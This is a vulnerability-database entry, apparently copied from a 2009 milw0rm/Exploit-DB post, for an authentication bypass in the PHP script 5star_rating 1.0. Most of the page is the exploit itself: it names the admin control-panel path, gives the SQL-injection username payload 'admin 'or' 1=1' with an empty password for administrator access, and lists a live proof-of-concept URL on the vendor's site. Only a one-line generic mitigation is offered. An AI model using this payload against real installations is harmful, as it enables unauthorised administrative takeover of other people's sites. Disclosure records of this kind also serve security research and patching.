5star_rating Authentification ByPass

vendor:

5star_rating

by:

zer0day

7,5

CVSS

HIGH

Authentification ByPass

287

CWE

Product Name: 5star_rating

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:maniacomputer:5star_rating

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

5star_rating Authentification ByPass

Go to http://[TARGET]/5star_rating/admin/control_panel_sample.php and enter username as admin 'or' 1=1 and empty password to bypass authentication.

Mitigation:

Ensure that authentication credentials are properly validated before allowing access to the application.

Source

Exploit-DB raw data:

@@@@@@@@  @@@@@@@@  @@@@@@@    @@@@@@@@   @@@@@@@    @@@@@@   @@@ @@@  
@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@ @@@  
     @@!  @@!       @@!  @@@  @@!   @@@@  @@!  @@@  @@!  @@@  @@! !@@  
    !@!   !@!       !@!  @!@  !@!  @!@!@  !@!  @!@  !@!  @!@  !@! @!!  
   @!!    @!!!:!    @!@!!@!   @!@ @! !@!  @!@  !@!  @!@!@!@!   !@!@!   
  !!!     !!!!!:    !!@!@!    !@!!!  !!!  !@!  !!!  !!!@!!!!    @!!!   
 !!:      !!:       !!: :!!   !!:!   !!!  !!:  !!!  !!:  !!!    !!:    
:!:       :!:       :!:  !:!  :!:    !:!  :!:  !:!  :!:  !:!    :!:    
 :: ::::   :: ::::  ::   :::  ::::::: ::   :::: ::  ::   :::     ::    
: :: : :  : :: ::    :   : :   : : :  :   :: :  :    :   : :     :     
                                                                       

--[ Informations ]------------------------------------------------------

@author : zer0day (zer0day@vodkaorange.com)
@home : gotr00t.blogspot.com
@software : 5star_rating
@version : 1.0
@web site : http://www.maniacomputer.com/5star_rating/New_5Star.html

--[ Exploit ]-----------------------------------------------------------

---{{Authentification ByPass}}
Go to :
http://[TARGET]/5star_rating/admin/control_panel_sample.php
In username just enter : admin 'or' 1=1
and empty password

You are logged in Administrator !

Simply ?

--[ Proof Of Concept ]--------------------------------------------------

http://www.maniacomputer.com/5star_rating/admin/control_panel_sample.php

--[ End Of File ]-------------------------------------------------------

# milw0rm.com [2009-04-22]